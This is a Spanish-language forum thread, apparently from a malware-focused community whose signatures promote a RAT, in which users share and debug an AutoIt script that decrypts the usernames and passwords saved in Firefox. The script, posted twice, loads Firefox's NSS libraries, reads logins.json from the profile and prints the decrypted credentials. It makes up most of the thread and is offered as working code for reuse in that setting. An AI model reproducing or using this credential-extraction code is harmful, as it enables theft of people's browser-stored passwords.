Buenas , que tal ?

Acaso alguen que lo tenga , en qualquiera language sirve , pero que sea funcional a la version de Firefox actualizada .

O una referencia ? en google solo he encontrado versiones desactualizadas

Gracias desde ya ....

Saludos
Indetectables RAT v.0.9.5

@Indetectables Team
Hola Feo.

por casualidad me arme este hace un par de dias. funciona solo en las versiones donde se guardan las password en un archivo .json como la 34.0.5
este solo funciona en la versión 34.0.5 porque para que funcione en otras con el archivo .json hay que hacer dinámica la función GetFireFoxPath().
;Written By Pink/Danyfirex
#include <WinAPI.au3>
#include <Array.au3>
Opt("MustDeclareVars", 1)

Global Const $CRYPT_STRING_BASE64 = 0x00000001
Global $h_NSS3 = 0
Global Const $eURL = 1
Global Const $eUser = 3
Global Const $ePass = 5
Global Const $tagSECItem = "dword SECItemType;ptr Data;dword Len"

Global Const $aLibraries[] = ["msvcr100.dll", "msvcp100.DLL", "mozglue.dll", "nss3.dll"]
Global $hSlot = 0
Local $sFireFoxPath = GetFireFoxPath()
Local $sFireFoxProfilePath = _FireFoxProFilePath()


;Start
If _LoadLibraries($sFireFoxPath) And _iniNSS3($sFireFoxPath, $sFireFoxProfilePath) Then
;~ 	ConsoleWrite("Libaries Loaded" & @CRLF)
;~ 	ConsoleWrite("FireFox Recovery" & @CRLF)
;Recovery FireFox
FireFoxRecovery($sFireFoxProfilePath)
Exit
Else
;~ 	ConsoleWrite("Can't load the Libaries" & @CRLF)
	Exit
EndIf






Func FireFoxRecovery($sFireFoxProfilePath)

	Local $sJsonFile = $sFireFoxProfilePath & "logins.json"
	Local $aList = GetJsonArray(FileRead($sJsonFile))

	If Not (IsArray($aList)) Or Not (UBound($aList) >= 6) Then
		Return False
	EndIf


	ConsoleWrite("!>>>>>>>>>>>>>FireFox Password Recovery<<<<<<<<<<<<<<" & @CRLF & @CRLF)
	For $i = 0 To UBound($aList) - 1 Step 6
		ConsoleWrite("URL: " & $aList[$i + $eURL] & @CRLF)
		ConsoleWrite("UserName: " & FireFoxDecrypt($aList[$i + $eUser]) & @CRLF)
		ConsoleWrite("PassWord: " & FireFoxDecrypt($aList[$i + $ePass]) & @CRLF)
		ConsoleWrite(@CRLF)
	Next
	ConsoleWrite("!>>>>>>>>>>>>>FireFox Password Recovery<<<<<<<<<<<<<<" & @CRLF & @CRLF)
	Free()

EndFunc   ;==>FireFoxRecovery


Func FireFoxDecrypt($sCryptedData)
	Local $iRet = 0
	Local $tByteData = DllStructCreate("byte Data[1024]")
	Local $dwSize = 0
	Local $sDecrypData = ""
	Local $DataIn = 0
	Local $DataOut = 0
	Local $tData = 0
	$iRet = DllCall("Crypt32.dll", "bool", "CryptStringToBinary", "str", $sCryptedData, "dword", StringLen($sCryptedData), "dword", $CRYPT_STRING_BASE64, "ptr", DllStructGetPtr($tByteData), "dword*", 8096, "ptr", 0, "ptr", 0)
	If $iRet[0] = True Then
		$dwSize = $iRet[5]

		$hSlot = DllCall($h_NSS3, "ptr:CDECL", "PK11_GetInternalKeySlot")
		$hSlot = $hSlot[0]


		If Not $hSlot Then
			Return $sDecrypData
		EndIf
		$iRet = DllCall($h_NSS3, "dword:CDECL", "PK11_Authenticate", "ptr", $hSlot, "BOOL", True, "ptr", Null)
		Local $iStatus = $iRet[0]


		If $iStatus Then Return $sDecrypData

		Local $DataIn = DllStructCreate($tagSECItem)
		Local $DataOut = DllStructCreate($tagSECItem)
		$DataIn.Data = DllStructGetPtr($tByteData)
		$DataIn.len = $dwSize

		$iRet = DllCall($h_NSS3, "DWORD:CDECL", "PK11SDR_Decrypt", "ptr", DllStructGetPtr($DataIn), "ptr", DllStructGetPtr($DataOut), "ptr", Null)
		$iStatus = $iRet[0]
		If $iStatus Then Return $sDecrypData

		$tData = DllStructCreate("char String[" & $DataOut.len & "]", $DataOut.Data)
		$sDecrypData = $tData.String


		Return $sDecrypData
	Else

		Return $sDecrypData
	EndIf

EndFunc   ;==>FireFoxDecrypt

Func GetJsonArray($sData)
	Local $aList = StringRegExp($sData, '\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"', 3)
	Return $aList
EndFunc   ;==>GetJsonArray

Func _FireFoxProFilePath()
	Local $sPath = @AppDataDir & "\Mozilla\Firefox\"
	Return ($sPath & IniRead($sPath & "profiles.ini", "Profile0", "Path", "") & "\")
EndFunc   ;==>_FireFoxProFilePath


Func Free()
	If $hSlot Then DllCall($h_NSS3, "NONE:CDECL", "PK11_FreeSlot", "ptr", $hSlot)
	DllCall($h_NSS3, "NONE:CDECL", "NSS_Shutdown")
	DllClose($h_NSS3)
EndFunc   ;==>Free



Func _LoadLibraries($sPath)

	If _WinAPI_LoadLibrary($sPath & $aLibraries[0]) And _WinAPI_LoadLibrary($sPath & $aLibraries[1]) And _WinAPI_LoadLibrary($sPath & $aLibraries[2]) Then
		Return True
	Else
		Return False
	EndIf

EndFunc   ;==>_LoadLibraries


Func _iniNSS3($sPath, $sProfilePath)
	Local $hResult = 0
	$h_NSS3 = DllOpen($sPath & $aLibraries[3])
	$hResult = DllCall($h_NSS3, "dword:CDECL", "NSS_Init", "str", $sProfilePath)
	If $hResult[0] = 0 And $h_NSS3 Then
		Return True
	Else
		Return False
	EndIf
EndFunc   ;==>_iniNSS3


Func GetFireFoxPath()
	Local $sPath = ""
	Local Const $sRegFireFox = "HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 34.0.5\bin"
	Local Const $sKeyName = "PathToExe"
	$sPath = RegRead($sRegFireFox, $sKeyName)
	If FileExists($sPath) Then
		Return StringReplace($sPath, "Firefox.exe", "")
	Else
		Return ""
	EndIf
EndFunc   ;==>GetFireFoxPath
Saludos
Imagen
Me falto algo en el codigo. ahi lo acomodo:
;Written By Pink/Danyfirex
#include <WinAPI.au3>
#include <Array.au3>
Opt("MustDeclareVars", 1)

Global Const $CRYPT_STRING_BASE64 = 0x00000001
Global $h_NSS3 = 0, $h_msvcr = 0, $h_msvcp = 0, $h_mozglue = 0
Global Const $eURL = 1
Global Const $eUser = 3
Global Const $ePass = 5
Global Const $tagSECItem = "dword SECItemType;ptr Data;dword Len"

Global Const $aLibraries[] = ["msvcr100.dll", "msvcp100.DLL", "mozglue.dll", "nss3.dll"]
Global $hSlot = 0
Local $sFireFoxPath = GetFireFoxPath()
Local $sFireFoxProfilePath = _FireFoxProFilePath()


;Start
If _LoadLibraries($sFireFoxPath) And _iniNSS3($sFireFoxPath, $sFireFoxProfilePath) Then
;~ 	ConsoleWrite("Libaries Loaded" & @CRLF)
;~ 	ConsoleWrite("FireFox Recovery" & @CRLF)
	;Recovery FireFox
	FireFoxRecovery($sFireFoxProfilePath)
	Exit
Else
;~ 	ConsoleWrite("Can't load the Libaries" & @CRLF)
	Exit
EndIf






Func FireFoxRecovery($sFireFoxProfilePath)

	Local $sJsonFile = $sFireFoxProfilePath & "logins.json"
	Local $aList = GetJsonArray(FileRead($sJsonFile))

	If Not (IsArray($aList)) Or Not (UBound($aList) >= 6) Then
		Return False
	EndIf


	ConsoleWrite("!>>>>>>>>>>>>>FireFox Password Recovery<<<<<<<<<<<<<<" & @CRLF & @CRLF)
	For $i = 0 To UBound($aList) - 1 Step 6
		ConsoleWrite("URL: " & $aList[$i + $eURL] & @CRLF)
		ConsoleWrite("UserName: " & FireFoxDecrypt($aList[$i + $eUser]) & @CRLF)
		ConsoleWrite("PassWord: " & FireFoxDecrypt($aList[$i + $ePass]) & @CRLF)
		ConsoleWrite(@CRLF)
	Next
	ConsoleWrite("!>>>>>>>>>>>>>FireFox Password Recovery<<<<<<<<<<<<<<" & @CRLF & @CRLF)
	Free()

EndFunc   ;==>FireFoxRecovery


Func FireFoxDecrypt($sCryptedData)
	Local $iRet = 0
	Local $tByteData = DllStructCreate("byte Data[1024]")
	Local $dwSize = 0
	Local $sDecrypData = ""
	Local $DataIn = 0
	Local $DataOut = 0
	Local $tData = 0
	$iRet = DllCall("Crypt32.dll", "bool", "CryptStringToBinary", "str", $sCryptedData, "dword", StringLen($sCryptedData), "dword", $CRYPT_STRING_BASE64, "ptr", DllStructGetPtr($tByteData), "dword*", 8096, "ptr", 0, "ptr", 0)
	If $iRet[0] = True Then
		$dwSize = $iRet[5]

		$hSlot = DllCall($h_NSS3, "ptr:CDECL", "PK11_GetInternalKeySlot")
		$hSlot = $hSlot[0]


		If Not $hSlot Then
			Return $sDecrypData
		EndIf
		$iRet = DllCall($h_NSS3, "dword:CDECL", "PK11_Authenticate", "ptr", $hSlot, "BOOL", True, "ptr", Null)
		Local $iStatus = $iRet[0]


		If $iStatus Then Return $sDecrypData

		Local $DataIn = DllStructCreate($tagSECItem)
		Local $DataOut = DllStructCreate($tagSECItem)
		$DataIn.Data = DllStructGetPtr($tByteData)
		$DataIn.len = $dwSize

		$iRet = DllCall($h_NSS3, "DWORD:CDECL", "PK11SDR_Decrypt", "ptr", DllStructGetPtr($DataIn), "ptr", DllStructGetPtr($DataOut), "ptr", Null)
		$iStatus = $iRet[0]
		If $iStatus Then Return $sDecrypData

		$tData = DllStructCreate("char String[" & $DataOut.len & "]", $DataOut.Data)
		$sDecrypData = $tData.String


		Return $sDecrypData
	Else

		Return $sDecrypData
	EndIf

EndFunc   ;==>FireFoxDecrypt

Func GetJsonArray($sData)
	Local $aList = StringRegExp($sData, '\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"', 3)
	Return $aList
EndFunc   ;==>GetJsonArray

Func _FireFoxProFilePath()
	Local $sPath = @AppDataDir & "\Mozilla\Firefox\"
	Return ($sPath & IniRead($sPath & "profiles.ini", "Profile0", "Path", "") & "\")
EndFunc   ;==>_FireFoxProFilePath


Func Free()
	If $hSlot Then DllCall($h_NSS3, "NONE:CDECL", "PK11_FreeSlot", "ptr", $hSlot)
	DllCall($h_NSS3, "NONE:CDECL", "NSS_Shutdown")
	DllClose($h_NSS3)
	If $h_msvcr Then _WinAPI_FreeLibrary($h_msvcr)
	If $h_msvcp Then _WinAPI_FreeLibrary($h_msvcp)
	If $h_mozglue Then _WinAPI_FreeLibrary($h_mozglue)

EndFunc   ;==>Free



Func _LoadLibraries($sPath)
	$h_msvcr = _WinAPI_LoadLibrary($sPath & $aLibraries[0])
	$h_msvcp = _WinAPI_LoadLibrary($sPath & $aLibraries[1])
	$h_mozglue = _WinAPI_LoadLibrary($sPath & $aLibraries[2])


	If $h_msvcr And $h_msvcp And $h_mozglue Then
		Return True
	Else
		Return False
	EndIf

EndFunc   ;==>_LoadLibraries


Func _iniNSS3($sPath, $sProfilePath)
	Local $hResult = 0
	$h_NSS3 = DllOpen($sPath & $aLibraries[3])
	$hResult = DllCall($h_NSS3, "dword:CDECL", "NSS_Init", "str", $sProfilePath)
	If $hResult[0] = 0 And $h_NSS3 Then
		Return True
	Else
		Return False
	EndIf
EndFunc   ;==>_iniNSS3


Func GetFireFoxPath()
	Local $sPath = ""
	Local Const $sRegFireFox = "HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 34.0.5\bin"
	Local Const $sKeyName = "PathToExe"
	$sPath = RegRead($sRegFireFox, $sKeyName)
	If FileExists($sPath) Then
		Return StringReplace($sPath, "Firefox.exe", "")
	Else
		Return ""
	EndIf
EndFunc   ;==>GetFireFoxPath
Saludos
Imagen
Gracias a los 2

Pink , sos la cana compadre , muchas gracias

Saludos
Indetectables RAT v.0.9.5

@Indetectables Team
joselin
Blau escribió:Gracias Pink
De nada.
M3 escribió:Gracias a los 2

Pink , sos la cana compadre , muchas gracias

Saludos
De nalgas.

de nada.

Saludos capo.

Feliz Navidad brothers.
Imagen
Pink escribió:joselin
jajaja me generalizaron en el agradecimiento.. jajaja
es que suma mas si el codigo es de tu autoria, se entiende.

y les deseo un anticipado feliz año nuevo para todos
navidad ya paso , borracho:) jaja
paresco malo ,pero soy bueno
A mi me vale muchisimo tambien señores!
Estaba perdido con el archivo Key3.db, que resulta que tambien está cifrado y no sabia que hacer, voy a mirar estos a ver si me aclaro.

Edit: No me funciona el codigo, me tira error en $DataIn.Data = DllStructGetPtr($tByteData) ==> Variable must be of type "Object".

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
joselin escribió:
Pink escribió:joselin
jajaja me generalizaron en el agradecimiento.. jajaja
es que suma mas si el codigo es de tu autoria, se entiende.

y les deseo un anticipado feliz año nuevo para todos
navidad ya paso , borracho:) jaja
es que me gusta trollearte :*
Scorpio escribió:A mi me vale muchisimo tambien señores!
Estaba perdido con el archivo Key3.db, que resulta que tambien está cifrado y no sabia que hacer, voy a mirar estos a ver si me aclaro.

Edit: No me funciona el codigo, me tira error en $DataIn.Data = DllStructGetPtr($tByteData) ==> Variable must be of type "Object".

//Regards.
No te funciona porque esta para la ultima version de autoit. solo modificalo y ya. para las ultimas versiones no necesitas usar Key3.db.

saludos
Imagen
Pink escribió:
Scorpio escribió:A mi me vale muchisimo tambien señores!
Estaba perdido con el archivo Key3.db, que resulta que tambien está cifrado y no sabia que hacer, voy a mirar estos a ver si me aclaro.

Edit: No me funciona el codigo, me tira error en $DataIn.Data = DllStructGetPtr($tByteData) ==> Variable must be of type "Object".

//Regards.
No te funciona porque esta para la ultima version de autoit. solo modificalo y ya. para las ultimas versiones no necesitas usar Key3.db.

saludos
Eso me temia yo, pero no encontraba tampoco informacion sobre el NSS3, me viene de lujo.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Scorpio escribió:
Pink escribió:
Scorpio escribió:A mi me vale muchisimo tambien señores!
Estaba perdido con el archivo Key3.db, que resulta que tambien está cifrado y no sabia que hacer, voy a mirar estos a ver si me aclaro.

Edit: No me funciona el codigo, me tira error en $DataIn.Data = DllStructGetPtr($tByteData) ==> Variable must be of type "Object".

//Regards.
No te funciona porque esta para la ultima version de autoit. solo modificalo y ya. para las ultimas versiones no necesitas usar Key3.db.

saludos
Eso me temia yo, pero no encontraba tampoco informacion sobre el NSS3, me viene de lujo.

//Regards.
Todo esta en el source de firefox.
[Enlace externo eliminado para invitados]

Saludos
Imagen
Responder

Volver a “Autoit”